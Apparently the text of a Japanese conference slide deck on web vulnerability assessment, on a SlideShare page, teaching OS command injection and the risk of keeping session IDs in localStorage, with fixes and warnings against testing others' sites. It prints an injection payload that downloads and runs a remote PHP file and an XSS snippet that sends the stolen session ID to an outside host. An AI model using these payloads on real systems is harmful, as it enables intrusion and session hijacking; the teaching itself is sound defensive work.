Download free for 30 days
Sign in
Upload
Language (EN)
Support
Business
Mobile
Social Media
Marketing
Technology
Art & Photos
Career
Design
Education
Presentations & Public Speaking
Government & Nonprofit
Healthcare
Internet
Law
Leadership & Management
Automotive
Engineering
Software
Recruiting & HR
Retail
Sales
Services
Science
Small Business & Entrepreneurship
Food
Environment
Economy & Finance
Data & Analytics
Investor Relations
Sports
Spiritual
News & Politics
Travel
Self Improvement
Real Estate
Entertainment & Humor
Health & Medicine
Devices & Hardware
Lifestyle
Change Language
Language
English
Español
Português
Français
Deutsche
Cancel
Save
EN
Uploaded by
tobaru_yuta
678 views
ソースで学ぶ脆弱性診断 - SmartTechGeeks #2
下記について記載。 OSコマンドインジェクション ローカルストレージへの機密情報の保持
Internet
◦
Read more
0
Save
Share
Embed
Embed presentation
Download
Download to read offline
1
/ 30
2
/ 30
3
/ 30
4
/ 30
5
/ 30
6
/ 30
7
/ 30
8
/ 30
9
/ 30
10
/ 30
11
/ 30
12
/ 30
13
/ 30
14
/ 30
15
/ 30
16
/ 30
17
/ 30
18
/ 30
19
/ 30
20
/ 30
21
/ 30
22
/ 30
23
/ 30
24
/ 30
25
/ 30
26
/ 30
27
/ 30
28
/ 30
29
/ 30
30
/ 30
More Related Content
PPTX
Lessons from a Red Team Exercise
by
Peter Wood
PDF
Burp suite を使って iPhone アプリを診断した時に困ったことと、解決方法
by
tobaru_yuta
PDF
FridaによるAndroidアプリの動的解析とフッキングの基礎
by
ken_kitahara
PPTX
Intercept X - Sophos Endpoint
by
DeServ - Tecnologia e Servços
PDF
Windows10タブレットに各種Linuxディストリを入れて遊ぼう 2017年度東京Spring版
by
Netwalker lab kapper
PDF
Zynq mp勉強会資料
by
一路 川染
PDF
Docker ComposeでMastodonが必要なものを梱包する話
by
Masahito Zembutsu
PDF
NextLevel Cyber Security Executive Briefing
by
Joe Nathans
Lessons from a Red Team Exercise
by
Peter Wood
Burp suite を使って iPhone アプリを診断した時に困ったことと、解決方法
by
tobaru_yuta
FridaによるAndroidアプリの動的解析とフッキングの基礎
by
ken_kitahara
Intercept X - Sophos Endpoint
by
DeServ - Tecnologia e Servços
Windows10タブレットに各種Linuxディストリを入れて遊ぼう 2017年度東京Spring版
by
Netwalker lab kapper
Zynq mp勉強会資料
by
一路 川染
Docker ComposeでMastodonが必要なものを梱包する話
by
Masahito Zembutsu
NextLevel Cyber Security Executive Briefing
by
Joe Nathans
What's hot
PDF
今話題のいろいろなコンテナランタイムを比較してみた
by
Kohei Tokunaga
PPTX
最近のやられアプリを試してみた
by
zaki4649
PPT
Ethical Hacking
by
aashish2cool4u
PDF
3種類のTEE比較(Intel SGX, ARM TrustZone, RISC-V Keystone)
by
Kuniyasu Suzaki
PPTX
Detection Rules Coverage
by
Sunny Neo
PDF
遠隔デバイスとの信頼を築くための技術とその標準(TEEP RATS)
by
Kuniyasu Suzaki
DOCX
Ethical Hacking (CEH) - Industrial Training Report
by
Raghav Bisht
PDF
OAuth 2.0のResource Serverの作り方
by
Hitachi, Ltd. OSS Solution Center.
PDF
GPU仮想化最前線 - KVMGTとvirtio-gpu -
by
zgock
PDF
セキュリティを楽しむ(CTFとbugbountyの始め方)
by
kazkiti
PDF
Brute Force Attack Security Use Case Guide
by
Protect724manoj
PDF
PCCC22:インテル株式会社 テーマ1「インテル® Agilex™ FPGA デバイス 最新情報」
by
PC Cluster Consortium
PDF
Cyber threat intelligence avec Open CTI
by
EyesOpen Association
PDF
Bypass_AV-EDR.pdf
by
Farouk2nd
PDF
Threat Hunting
by
Splunk
PDF
Super Easy Memory Forensics
by
IIJ
PDF
CyberSecurity Awareness Training Presentation v2025.09
by
DallasHaselhorst
PDF
Mikrotik load balansing
by
Кирилл Кекер
PDF
GitLabのAutoDevOpsを試してみた
by
富士通クラウドテクノロジーズ株式会社
PDF
ライブラリ作成のすゝめ - 事例から見る個人OSS開発の効能
by
Yoshifumi Kawai
今話題のいろいろなコンテナランタイムを比較してみた
by
Kohei Tokunaga
最近のやられアプリを試してみた
by
zaki4649
Ethical Hacking
by
aashish2cool4u
3種類のTEE比較(Intel SGX, ARM TrustZone, RISC-V Keystone)
by
Kuniyasu Suzaki
Detection Rules Coverage
by
Sunny Neo
遠隔デバイスとの信頼を築くための技術とその標準(TEEP RATS)
by
Kuniyasu Suzaki
Ethical Hacking (CEH) - Industrial Training Report
by
Raghav Bisht
OAuth 2.0のResource Serverの作り方
by
Hitachi, Ltd. OSS Solution Center.
GPU仮想化最前線 - KVMGTとvirtio-gpu -
by
zgock
セキュリティを楽しむ(CTFとbugbountyの始め方)
by
kazkiti
Brute Force Attack Security Use Case Guide
by
Protect724manoj
PCCC22:インテル株式会社 テーマ1「インテル® Agilex™ FPGA デバイス 最新情報」
by
PC Cluster Consortium
Cyber threat intelligence avec Open CTI
by
EyesOpen Association
Bypass_AV-EDR.pdf
by
Farouk2nd
Threat Hunting
by
Splunk
Super Easy Memory Forensics
by
IIJ
CyberSecurity Awareness Training Presentation v2025.09
by
DallasHaselhorst
Mikrotik load balansing
by
Кирилл Кекер
GitLabのAutoDevOpsを試してみた
by
富士通クラウドテクノロジーズ株式会社
ライブラリ作成のすゝめ - 事例から見る個人OSS開発の効能
by
Yoshifumi Kawai
Viewers also liked
PDF
Webアプリケーション脆弱性診断について
by
tobaru_yuta
PDF
MongoDBの脆弱性診断 - smarttechgeeks
by
tobaru_yuta
DOCX
Chuyên
by
caidatmaybamgio
DOCX
Pengertian dan Sejarah Software Open Source
by
Barmed Studio
DOCX
Maestro conoce a sus alumnos
by
Frankling Aguilar
RTF
Talia's Resume'
by
Talia Wilson
PPTX
Дмитрий Мартынов: О подписке на газеты и журналы в I полугодии 2017 года и п...
by
Ассоциация распространителей печатной продукции
PDF
Pak janggut kapal dari es
by
linda hindiana
PPTX
Web applicationpenetrationtest その3
by
Tetsuya Hasegawa
PPTX
Tipos de condicionales
by
angelzerpa12
PPTX
Refugios temporales
by
Ale1808
PDF
担当Pjのciにserverless frameworkを導入した話
by
masaya tawata
PPTX
HFCC 創新場域工作坊
by
HCGO
PPTX
email in our daily life
by
Binay Sharma
PDF
Tablete de-stil-de-viata-sanatatea
by
saraviola
PDF
Dockerでデプロイ
by
oshiro_seiya
PPTX
Presentation employees Nutricia
by
InspanningLoont
PDF
Danone Nutricia Case - The Data-Driven Mother's Journey by Christopher Nash, ...
by
Komfo
PPTX
Gender differences in symptomatology of autism spectrum disorder
by
Laura Mattys
PPTX
Bioaccumulation & biomagnifications
by
Nur Atikah Amira
Webアプリケーション脆弱性診断について
by
tobaru_yuta
MongoDBの脆弱性診断 - smarttechgeeks
by
tobaru_yuta
Chuyên
by
caidatmaybamgio
Pengertian dan Sejarah Software Open Source
by
Barmed Studio
Maestro conoce a sus alumnos
by
Frankling Aguilar
Talia's Resume'
by
Talia Wilson
Дмитрий Мартынов: О подписке на газеты и журналы в I полугодии 2017 года и п...
by
Ассоциация распространителей печатной продукции
Pak janggut kapal dari es
by
linda hindiana
Web applicationpenetrationtest その3
by
Tetsuya Hasegawa
Tipos de condicionales
by
angelzerpa12
Refugios temporales
by
Ale1808
担当Pjのciにserverless frameworkを導入した話
by
masaya tawata
HFCC 創新場域工作坊
by
HCGO
email in our daily life
by
Binay Sharma
Tablete de-stil-de-viata-sanatatea
by
saraviola
Dockerでデプロイ
by
oshiro_seiya
Presentation employees Nutricia
by
InspanningLoont
Danone Nutricia Case - The Data-Driven Mother's Journey by Christopher Nash, ...
by
Komfo
Gender differences in symptomatology of autism spectrum disorder
by
Laura Mattys
Bioaccumulation & biomagnifications
by
Nur Atikah Amira
Similar to ソースで学ぶ脆弱性診断 - SmartTechGeeks #2
PPTX
Webサイトをめぐるセキュリティ状況と効果的な防御方法(WordPress編)
by
Hiroshi Tokumaru
PDF
とある診断員と色々厄介な脆弱性達
by
zaki4649
PPTX
脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに
by
Hiroshi Tokumaru
PPTX
Mix Leap 0214 security
by
adachi tomohiro
PDF
2017年のセキュリティ 傾向と対策講座
by
NHN テコラス株式会社
PDF
安全なプラグインに必要なこと: 脆弱性届出状況に見る傾向と対策 (WordCampTokyo 2017)
by
JPCERT Coordination Center
PPTX
Security Learning Vol2 話題の脆弱性をコードで紐解く!
by
YOJI WATANABE
PPTX
デバッガでWordPress本体やプラグインの脆弱性を追いかけてみよう
by
Hiroshi Tokumaru
PDF
Webアプリケーション脆弱性診断のご紹介_コンピューターサイエンス株式会社
by
ComputerScienceCoLtd
PDF
脆弱性もバグ、だからテストしよう PHPカンファンレス2015
by
ichikaway
PPTX
サーバーフレームワークに潜んでる脆弱性検知ツール紹介
by
gree_tech
PPTX
安全なPHPアプリケーションの作り方2016
by
Hiroshi Tokumaru
ODP
ライブコーディングとデモで理解するWebセキュリティの基礎
by
Takahisa Kishiya
PDF
脆弱性もバグ、だからテストしよう DevSummiFukuoka
by
ichikaway
PDF
「最近のwebアプリケーションの脆弱性やそれを悪用する攻撃の動向」OWASP Kansai
by
OWASP Kansai
PDF
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
by
Hiroshi Tokumaru
PDF
Blojsom におけるクロスサイトスクリプティングの脆弱性
by
JPCERT Coordination Center
PDF
なぜ自社で脆弱性診断を行うべきなのか
by
Sen Ueno
PPTX
若手エンジニアのためのセキュリティ講座
by
Hiroshi Tokumaru
PPTX
HTML5 Web アプリケーションのセキュリティ
by
彰 村地
Webサイトをめぐるセキュリティ状況と効果的な防御方法(WordPress編)
by
Hiroshi Tokumaru
とある診断員と色々厄介な脆弱性達
by
zaki4649
脆弱性は誰のせい? PHP、MySQL、Joomla! の責任やいかに
by
Hiroshi Tokumaru
Mix Leap 0214 security
by
adachi tomohiro
2017年のセキュリティ 傾向と対策講座
by
NHN テコラス株式会社
安全なプラグインに必要なこと: 脆弱性届出状況に見る傾向と対策 (WordCampTokyo 2017)
by
JPCERT Coordination Center
Security Learning Vol2 話題の脆弱性をコードで紐解く!
by
YOJI WATANABE
デバッガでWordPress本体やプラグインの脆弱性を追いかけてみよう
by
Hiroshi Tokumaru
Webアプリケーション脆弱性診断のご紹介_コンピューターサイエンス株式会社
by
ComputerScienceCoLtd
脆弱性もバグ、だからテストしよう PHPカンファンレス2015
by
ichikaway
サーバーフレームワークに潜んでる脆弱性検知ツール紹介
by
gree_tech
安全なPHPアプリケーションの作り方2016
by
Hiroshi Tokumaru
ライブコーディングとデモで理解するWebセキュリティの基礎
by
Takahisa Kishiya
脆弱性もバグ、だからテストしよう DevSummiFukuoka
by
ichikaway
「最近のwebアプリケーションの脆弱性やそれを悪用する攻撃の動向」OWASP Kansai
by
OWASP Kansai
徳丸本に学ぶ 安全なPHPアプリ開発の鉄則2012
by
Hiroshi Tokumaru
Blojsom におけるクロスサイトスクリプティングの脆弱性
by
JPCERT Coordination Center
なぜ自社で脆弱性診断を行うべきなのか
by
Sen Ueno
若手エンジニアのためのセキュリティ講座
by
Hiroshi Tokumaru
HTML5 Web アプリケーションのセキュリティ
by
彰 村地
ソースで学ぶ脆弱性診断 - SmartTechGeeks #2
1.
ソースで学ぶ脆弱性診断 SmartTechGeeks #2 桃原 裕太
2.
名前 桃原 裕太
/ とうばる ゆうた 所属 株式会社 シーエー・アドバンス 技術統括本部 経歴 前職 ・ECサイト等の開発 株式会社 シーエー・アドバンス ・社内ツールの開発 ・脆弱性診断の業務に携わって約4年 業務 Webアプリケーション脆弱性診断 ・PCブラウザ向けアプリ ・SPブラウザ向けアプリ ・Androidアプリ ・iOSアプリ 自己紹介
3.
脆弱性診断とは Webサイトに脆弱性がないか、擬似攻撃を行って調査しています。 サービスを健全な状態に保つことで外部からの攻撃を防ぎます。
4.
注意 本資料で紹介した内容について 他者が管理しているサービスでは 試さないようにお願いします。
5.
今回のテーマ サンプルソースをもとに、 脆弱性について一緒に考えていきたいと思います。 ❏ どのような脆弱性か? ❏ どのような影響があるのか? ❏
どのように対策したらいいの?
6.
脆弱性の例 クロスサイトスクリプティング SQLインジェクション OSコマンドインジェクション アクセス権 等
7.
最近だと… WordPress の脆弱性がありましたね 【参考URL】https://www.ipa.go.jp/security/ciadr/vul/20170206-wordpress.html 対 象 WordPress
4.7.0 から WordPress 4.7.1 影 響 REST API の脆弱性を悪用することで コンテンツが改ざんされる 対 策 WordPress 4.7.2 へアップデートする
8.
問題!
9.
問題(どのような脆弱性があるでしょうか?) http://hoge.com/order/summary <?php // 受注情報の集計バッチを動かす require
'common.php'; // 未ログインはログインページへリダイレクトする if(!is_login()) header("Location: http://hoge.com/login"); exit(); $yyyymm = $_POST["yyyymm"]; // 201701 // バックグラウンドでPHPファイルを動かす system("php /batch/order_summary.php $yyyymm &");
10.
問題(どのような脆弱性があるでしょうか?) http://hoge.com/order/summary <?php // 受注情報の集計バッチを動かす require
'common.php'; // 未ログインはログインページへリダイレクトする if(!is_login()) header("Location: http://hoge.com/login"); exit(); $yyyymm = $_POST["yyyymm"]; // 201701;sleep 10; // バックグラウンドでPHPファイルを動かす system("php /batch/order_summary.php $yyyymm &");
11.
問題(どのような脆弱性があるでしょうか?) http://hoge.com/order/summary <?php // 受注情報の集計バッチを動かす require
'common.php'; // 未ログインはログインページへリダイレクトする if(!is_login()) header("Location: http://hoge.com/login"); exit(); $yyyymm = $_POST["yyyymm"]; // 201701;sleep 10; // バックグラウンドでPHPファイルを動かす system("php /batch/order_summary.php $yyyymm &");
12.
OSコマンドインジェクション http://hoge.com/order/summary <?php // 受注情報の集計バッチを動かす require
'common.php'; // 未ログインはログインページへリダイレクトする if(!is_login()) header(“Location: http://hoge.com/login"); exit(); $yyyymm = $_POST[“yyyymm"]; // 201701;sleep 10; // バックグラウンドでPHPファイルを動かす system("php /batch/order_summary.php $yyyymm &"); ①バッチを動かす php /batch/order_summary.php 201701; ②sleepコマンドで10秒停止 sleep 10;
13.
OSコマンドインジェクション なぜsleepコマンド? ❏ yyyymm=201701 の場合 ※レスポンスが返ってくるまでに1秒かかる ❏
yyyymm=201701;sleep 10; の場合 ※レスポンスが返ってくるまでに11秒かかる
14.
OSコマンドインジェクション 外部の人でも sleepコマンドを投げることで 脆弱性があるか判別できます ※試す場合は、許可を得たサイトだけにしてください。 他者のサービスで試すと不正アクセスで 訴えられる恐れがあります
15.
OSコマンドインジェクション 影響 ❏ 不正なファイルのDLと実行 ❏ ;wget
http://example.com/evil.txt -O evil.php;php evil.php; ❏ ツールの取得(yum, apt-get) ❏ ファイル削除 (rm) ❏ OSシャットダウン(shutdown) ❏ その他いろいろ
16.
OSコマンドインジェクション 対策 ※一例ですが… ❏ OSコマンドに渡すパラメータを 安全な関数によりエスケープする。 (すべて数字で構成されているか) ❏ 外部から入力された文字列を コマンドラインのパラメータに渡さない (画面ではなく、バックエンドでの定期実行に変える)
17.
次の問題!
18.
問題(どのような脆弱性があるでしょうか?) http://hoge.com/login.php <!-- javascript --> //
ログイン処理 fetch('/login_fetch.php', { method: 'POST', body: new FormData(document.getElementById('form1')), }) // レスポンス取得 .then(response => response.json()) // WebストレージにセッションIDを格納 .then(json => localStorage.setItem('session_id', (json.isLogin) ? json.session_id : ''));
19.
問題(どのような脆弱性があるでしょうか?) http://hoge.com/login.php <!-- javascript --> //
ログイン処理 fetch('/login_fetch.php', { method: 'POST', body: new FormData(document.getElementById('form1')), }) // レスポンス取得 .then(response => response.json()) // WebストレージにセッションIDを格納 .then(json => localStorage.setItem('session_id', (json.isLogin) ? json.session_id : '')); WebStorageにセッションIDを保存している
20.
WebStorageへの機密情報の保存 セッションIDを盗まれてしまう可能性があります セッションIDが盗まれる例 ※サイト内にXSSがある場合になります… 1. XSSを利用して、下記scriptを埋め込みます。 2. 結果、罠サイトへアクセスする際にセッションIDが漏洩します。 <!--
javascript --> ses_id = localStorage.getItem('session_id'); img = $('<img src="http://fuga.com/1.png?session_id='+ses_id+'">'); $('body').append(img); // bodyの一番下にimgタグ追加
21.
WebStorageへの機密情報の保存 セッション情報が送信されたサイトのアクセスログ 192.168.99.1 - -
[08/Feb/2017:06:06:04 +0000] "GET/1.png?session_id=s1234 HTTP/1.1" 404 497 "http://192.168.99.100/xss.php" "Mozilla/5.0 (Windows NT 6.1; Win64;x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/55.0.2883.87 Safari/537.36" GET/1.png?session_id=s1234 HTTP/1.1 アクセスログに残っている "s1234" を使うことで 対象サイトでなりすましできる
22.
WebStorageへの機密情報の保存 影響 XSSと組み合わせることでデータの取得や設定が可能に ・セッションIDの取得や上書き ・個人情報の取得 等 対策(一例) セッション情報はCookieで保持するようにします。 HttponlyやSecure属性を設定し、適切に保護。
23.
実際に脆弱性診断する ときはどうしているか?
24.
実際に脆弱性診断するときはどうしているか 診断ツールを使って確認しています。 ・自動診断(XSS, インジェクション攻撃 ...
etc) ・手動診断(CSRF, アクセス権 ... etc) ツールで検出しやすいものは自動診断 それ以外項目は手動診断しています。
25.
脆弱性診断で使うツール 診断効率をあげるためのツールのご紹介 ❏ Burp Suite ※弊社でも使ってます ❏
OWASP ZAP ❏ Fiddler ※試す場合は、許可を得たサイトだけにしてください。 他者のサービスで試すと不正アクセスで訴えられる恐れがあります。
26.
もし脆弱性診断に興味が出てきたら(その1) IPAでセキュリティ理解を深めるための資料を公開しています。(無料) 安全なウェブサイトの作り方 https://www.ipa.go.jp/security/vuln/websecurity.html 脆弱性体験学習ツール AppGoat https://www.ipa.go.jp/security/vuln/appgoat/
27.
もし脆弱性診断に興味が出てきたら(その2) http://qiita.com/organizations/ca-adv にもあるので解いてみてください
28.
おわりに
29.
まとめ、と補足 ❏ Webアプリケーション脆弱性診断について 少しでも理解してもらえると幸いです。 ❏ OSコマンドインジェクションは危ない! ❏
ふつうに開発してるだけだと脆弱性は入ってしまうので、ぜひ 対策をご検討ください。 ❏ セキュリティの専門家に依頼する ❏ 社内でセキュリティ意識を高める ... etc
30.
ご清聴ありがとうございました
Download